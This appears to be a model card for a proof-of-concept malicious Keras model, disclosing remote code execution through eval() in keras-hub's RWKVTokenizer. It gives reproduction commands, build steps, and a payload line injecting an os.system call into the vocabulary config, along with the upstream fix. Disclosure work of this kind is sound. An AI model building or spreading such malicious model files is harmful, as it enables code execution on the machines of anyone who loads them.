Keras MFV PoC: RCE via eval() in RWKVTokenizer.set_vocabulary
This repository contains a proof-of-concept malicious .keras model file submitted to Huntr's Model File Vulnerability program.
DO NOT load
evil_rwkv.kerason a host you care about. It executes arbitrary code onkeras.models.load_model()even with defaultsafe_mode=True. Use a disposable container.
Vulnerability
keras_hub.tokenizers.RWKVTokenizer (in keras-hub ≤ 0.28.0) calls Python's built-in eval() on attacker-controlled vocabulary entries inside its set_vocabulary method, which is invoked from __init__. Because the class does not override from_config, deserialization falls back to the unguarded Operation.from_config default (return cls(**config)), giving an attacker-supplied .keras archive a path to arbitrary code execution at load time.
This is structurally the same root pattern as CVE-2026-1462 (TFSMLayer), in a different class that the upstream patch did not audit.
Severity
Self-assessed CVSS 3.1 = 8.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. Matches CVE-2026-1462.
Affected
- Package:
keras-hub - Versions: ≤ 0.28.0 (released 2026-04-16)
- Patch status: merged to
master2026-04-29 (PR #2674, commita9bb249); not yet released as of 2026-05-05.
Reproduction (in a disposable container)
pip install "keras>=3.14" "tensorflow-cpu" "keras-hub==0.28.0"
huggingface-cli download AnthonyJohn/rwkv.keras evil_rwkv.keras --local-dir .
python -c "import keras; keras.models.load_model('evil_rwkv.keras')"
test -f /tmp/keras_pwned_RWKV && echo 'RCE confirmed' || echo 'no marker'
Expected: keras.models.load_model raises TypeError after the eval has already executed; /tmp/keras_pwned_RWKV exists with content PWNED_via_RWKVTokenizer_eval.
Builder script
The malicious archive in this repo was produced by the script in the linked Huntr submission, summarised:
- Build a benign
keras.Modelcontaining anRWKVTokenizerwith a legitimate vocabulary; save withmodel.save("benign.keras"). - Extract the
.kerasZIP, editconfig.jsonso the tokenizer'svocabularyarray's first line is"0 __import__('os').system('echo PWNED > /tmp/keras_pwned_RWKV') 1\n"(matching the<idx> <python-literal-repr> <byte-len>format the loader expects). - Repack as a new
.kerasZIP. The<repr>field iseval()-ed by the loader, executing the payload.
Suggested fix
Already merged: replace eval() with ast.literal_eval() in both RWKVTokenizer.set_vocabulary and RWKVTokenizerBase.__init__. See keras-team/keras-hub@a9bb249.
Broader recommendation: audit every KerasSaveable subclass on the deserializer's allowlist ({keras, keras_hub, keras_cv, keras_nlp}) for unguarded __init__ side effects. The CVE-2026-1462 patch was a single-class fix; the same root pattern exists in any class that has side-effecty __init__ and lacks a from_config override.
References
- Upstream fix: https://github.com/keras-team/keras-hub/pull/2674
- Related CVE-2026-1462: https://nvd.nist.gov/vuln/detail/CVE-2026-1462
- Huntr Participation Guidelines: https://huntr.com/guidelines
- Downloads last month
- 7